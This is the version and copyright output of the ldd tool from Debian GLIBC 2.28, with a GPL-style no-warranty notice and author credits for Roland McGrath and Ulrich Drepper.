Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

ldd (Debian GLIBC 2.28-10+deb10u1) 2.28